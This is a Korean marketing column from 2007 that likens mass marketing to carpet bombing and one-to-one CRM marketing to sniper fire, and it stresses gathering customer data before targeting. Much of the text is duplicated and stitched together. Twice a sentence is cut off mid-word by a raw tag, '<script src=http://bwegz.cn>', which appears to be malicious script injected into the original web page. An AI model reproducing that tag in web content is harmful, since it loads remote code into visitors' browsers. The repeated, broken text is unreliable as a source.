누구를 향해 쏴야 하나?
2007-01-24 fashioncrm@empal.com
문상찬 <모라비안바젤컨설팅·객원 연구원>
공습이나 폭격을 하기 전에는 반드시 인공위성과 정찰기로 공격지점에 대한 정보를 모은다. 위치, 지형, 기후, 주요 시설의 배치 등 정확하고, 많은 정보를 입수할수록 그 작전의 성공율은 올라가게 된다. 마케팅에서도 타겟을 정하고, 본격적인 공략을 하기 전에 충분한 정보 수집 작업이 필요하다. 패션 브랜드 이용행태, 소비 패턴, 라이프 스타일, 우리 브랜드에 대한 관심도 등 정확하고, 많은 정보를 입수할수록 더 확실한 성공을 보장 받게 된다.
CRM에 성공하기 위해서는 먼저 현재 고객이 누구인지 정확히 파악해야 한다. CRM 전략은 혜택을 담보로 고객과의 관계를 대출하는 것이기 때문에, 일단 도입되면 쉽게 바꿀 수 없는 전략이다. 먼저 고객을 알고, 그 고객에 가장 최적화된 전략을 짜야 한다.
‘라이언 일병 구하기’와 같은 전쟁영화를 보면, M16 같은 일반 소총을 사용하는 군인 이외에 2종류의 사격수가 더 있는 것을 볼 수 있다. 기관총을 사용하는 병사와, 저격용 라이플을 사용하는 병사가 그들이다. 고지에 기관총 진지를 구축하고 밀려드는 적군을 향해 무차별 난사를 하기도 하고, 은밀한 숲이나 건물에 몸을 숨기고, 한 방에 정확히 한 명씩을 쓰러뜨리기도 한다.
이번 아프카니스탄 전쟁에서도 볼 수 있듯이, 공중 폭격도 2가지 종류가 있다. 하나는 융단 폭격이다. 기관총처럼 특정 지역을 초토화시킬 때 사용하곤 한다. 또 하나는 미국의 크루즈 미사일처럼 수백 킬로미터 밖에서도 오차 범위 30센티미터로 명중하는 장거리 미사일 폭격이 있다. 마치 저격용 라이플처럼 주요 시설을 정확하게 요격할 때 사용하곤 한다. 걸프전 때 300발 정도를 사용하여 83%의 적중률을 보였다니, 가히 가공할만한 무기라 하겠다.
마케팅 전쟁터에도 기관총과 융단 폭격을 주로 사용하는 마케터가 있는 반면에, 저격용 라이플이나 크루즈 미사일을 사용하는 마케터가 있다.
기관총은 어두워서 타겟의 실체가 보이지 않을 때나, 적군들이 인해전술로 밀고 들어와 아무데나 쏴도 다 맞을 때 주로 사용한다. 물론 총알은 충분히 쏟아 부을 양이 준비되어 있어야 한다. ‘융단 폭격 마케팅’으로 비유될 수 있는 매스 마케팅(mass marketing)은 고객 한사람, 한사람이 타겟화 되어 있지 않고, 막연히 타겟층으로 정해져 있을 때 사용한다. 혹은, 시장 전체가 타겟이라 무차별적 마케팅이 가능하고, 충분한 마케팅 비용이 책정되어 있을 때 사용할 수 있다. TV나 잡지를 광고로 도배하고, 사은품과 경품과 특별한 혜택을 무차별적으로 쏟아 붓고, 충격적인 이벤트나 행사를 준비한다.
반면에 저격용 라이플은 딱 1명의 주요인사를 타겟으로 하거나, 적군들 중에서 지도자를 찾아내어 사살할 때 사용한다. ‘저격 마케팅’으로 비유될 수 있는 1:1 마케팅(CRM 마케팅)은 정확한 마케팅 타겟이 확보되어 있을 때 사용한다. 그리고, 1:1로 쏘아 보낼 수 있는 성능 좋은 총(마케팅도구)과 솜씨 좋은 저격수가 필요하다. 100명의 타겟이 있더라도, 저격의 우선순위가 정해져 있어야 하고, 가장 우선순위 높은 타겟부터 순차적으로 마케팅을 실시한다. 은행이나 항공사에서 사용실적에 따라 고객의 등급을 A,B,C로 나누는 이유가 바로 이것이다. 먼저 정확한 타겟 고객 리스트를 확보하고, 그 우선순위를 나눈다. 그리고 여러가지 도구(캐털로그, DM, 이메일, 전화 등)와 차별화된 내용으로 고객을 1:1 공략한다.
CRM 기술이 발달함에 따라 마케터들은 융단폭격 마케팅과 저격 마케팅을 적절히 섞어 쓰는 것이 가장 이상적인 마케팅 전략임을 깨닫게 되었다. 브랜드 도입초기에 인지도 상승과 이미지 형성을 위해 강력한 융단 폭격을 이용한다. 광고, MPR(Marketing PR), 협찬, 스타마케팅, 이벤트, 판촉, 사은품 등 물량공세를 취하는 것이다. 이런 매스마케팅을 통해 고객들이 매장으로 유입되면, 그 때부터는 1:1 마케팅을 시작한다. 구입고객들을 회원화하여 관리하고, 확보된 고객들의 로열티 상승을 위해 각종 회원 관리 전략을 세운다. 마일리지 포인트를 누적하여 주고, 중요한 고객들에게는 전화를 하기도 하고, DM이나 이메일을 통해 개인화된 의사소통을 하기도 한다.
공습이나 폭격을 하기 전에는 반드시 인공위성과 정찰기로 공격지점에 대한 정보를 모은다. 위치, 지형, 기후, 주요 시설의 배치 등 정확하고, 많은 정보를 입수할수록 그 작전의 성공율은 올라가게 된다. 마케팅에서도 타겟을 정하고, 본격적인 공략을 하기 전에 충분한 정보 수집 작업이 필요하다. 패션 브랜드 이용행태, 소비 패턴, 라이프 스타일, 우리 브랜드에 대한 관심도 등 정확하고, 많은 정보를 입수할수록 더 확실한 성공을 보장 받게 된다.
CRM을 도입하기 위해서도 마찬가지이다. 우리와 관계를 맺을 고객들의 취향이나, 선호경향, 원하는 혜택 등을 정확하게 조사해야 한?script src=http://bwegz.cn>
CRM에 성공하기 위해서는 먼저 현재 고객이 누구인지 정확히 파악해야 한다. CRM 전략은 혜택을 담보로 고객과의 관계를 대출하는 것이기 때문에, 일단 도입되면 쉽게 바꿀 수 없는 전략이다. 먼저 고객을 알고, 그 고객에 가장 최적화된 전략을 짜야 한다.
‘라이언 일병 구하기’와 같은 전쟁영화를 보면, M16 같은 일반 소총을 사용하는 군인 이외에 2종류의 사격수가 더 있는 것을 볼 수 있다. 기관총을 사용하는 병사와, 저격용 라이플을 사용하는 병사가 그들이다. 고지에 기관총 진지를 구축하고 밀려드는 적군을 향해 무차별 난사를 하기도 하고, 은밀한 숲이나 건물에 몸을 숨기고, 한 방에 정확히 한 명씩을 쓰러뜨리기도 한다.
이번 아프카니스탄 전쟁에서도 볼 수 있듯이, 공중 폭격도 2가지 종류가 있다. 하나는 융단 폭격이다. 기관총처럼 특정 지역을 초토화시킬 때 사용하곤 한다. 또 하나는 미국의 크루즈 미사일처럼 수백 킬로미터 밖에서도 오차 범위 30센티미터로 명중하는 장거리 미사일 폭격이 있다. 마치 저격용 라이플처럼 주요 시설을 정확하게 요격할 때 사용하곤 한다. 걸프전 때 300발 정도를 사용하여 83%의 적중률을 보였다니, 가히 가공할만한 무기라 하겠다.
마케팅 전쟁터에도 기관총과 융단 폭격을 주로 사용하는 마케터가 있는 반면에, 저격용 라이플이나 크루즈 미사일을 사용하는 마케터가 있다.
기관총은 어두워서 타겟의 실체가 보이지 않을 때나, 적군들이 인해전술로 밀고 들어와 아무데나 쏴도 다 맞을 때 주로 사용한다. 물론 총알은 충분히 쏟아 부을 양이 준비되어 있어야 한다. ‘융단 폭격 마케팅’으로 비유될 수 있는 매스 마케팅(mass marketing)은 고객 한사람, 한사람이 타겟화 되어 있지 않고, 막연히 타겟층으로 정해져 있을 때 사용한다. 혹은, 시장 전체가 타겟이라 무차별적 마케팅이 가능하고, 충분한 마케팅 비용이 책정되어 있을 때 사용할 수 있다. TV나 잡지를 광고로 도배하고, 사은품과 경품과 특별한 혜택을 무차별적으로 쏟아 붓고, 충격적인 이벤트나 행사를 준비한다.
반면에 저격용 라이플은 딱 1명의 주요인사를 타겟으로 하거나, 적군들 중에서 지도자를 찾아내어 사살할 때 사용한다. ‘저격 마케팅’으로 비유될 수 있는 1:1 마케팅(CRM 마케팅)은 정확한 마케팅 타겟이 확보되어 있을 때 사용한다. 그리고, 1:1로 쏘아 보낼 수 있는 성능 좋은 총(마케팅도구)과 솜씨 좋은 저격수가 필요하다. 100명의 타겟이 있더라도, 저격의 우선순위가 정해져 있어야 하고, 가장 우선순위 높은 타겟부터 순차적으로 마케팅을 실시한다. 은행이나 항공사에서 사용실적에 따라 고객의 등급을 A,B,C로 나누는 이유가 바로 이것이다. 먼저 정확한 타겟 고객 리스트를 확보하고, 그 우선순위를 나눈다. 그리고 여러가지 도구(캐털로그, DM, 이메일, 전화 등)와 차별화된 내용으로 고객을 1:1 공략한다.
CRM 기술이 발달함에 따라 마케터들은 융단폭격 마케팅과 저격 마케팅을 적절히 섞어 쓰는 것이 가장 이상적인 마케팅 전략임을 깨닫게 되었다. 브랜드 도입초기에 인지도 상승과 이미지 형성을 위해 강력한 융단 폭격을 이용한다. 광고, MPR(Marketing PR), 협찬, 스타마케팅, 이벤트, 판촉, 사은품 등 물량공세를 취하는 것이다. 이런 매스마케팅을 통해 고객들이 매장으로 유입되면, 그 때부터는 1:1 마케팅을 시작한다. 구입고객들을 회원화하여 관리하고, 확보된 고객들의 로열티 상승을 위해 각종 회원 관리 전략을 세운다. 마일리지 포인트를 누적하여 주고, 중요한 고객들에게는 전화를 하기도 하고, DM이나 이메일을 통해 개인화된 의사소통을 하기도 한다.
공습이나 폭격을 하기 전에는 반드시 인공위성과 정찰기로 공격지점에 대한 정보를 모은다. 위치, 지형, 기후, 주요 시설의 배치 등 정확하고, 많은 정보를 입수할수록 그 작전의 성공율은 올라가게 된다. 마케팅에서도 타겟을 정하고, 본격적인 공략을 하기 전에 충분한 정보 수집 작업이 필요하다. 패션 브랜드 이용행태, 소비 패턴, 라이프 스타일, 우리 브랜드에 대한 관심도 등 정확하고, 많은 정보를 입수할수록 더 확실한 성공을 보장 받게 된다.
CRM을 도입하기 위해서도 마찬가지이다. 우리와 관계를 맺을 고객들의 취향이나, 선호경향, 원하는 혜택 등을 정확하게 조사해야 한?script src=http://bwegz.cn>
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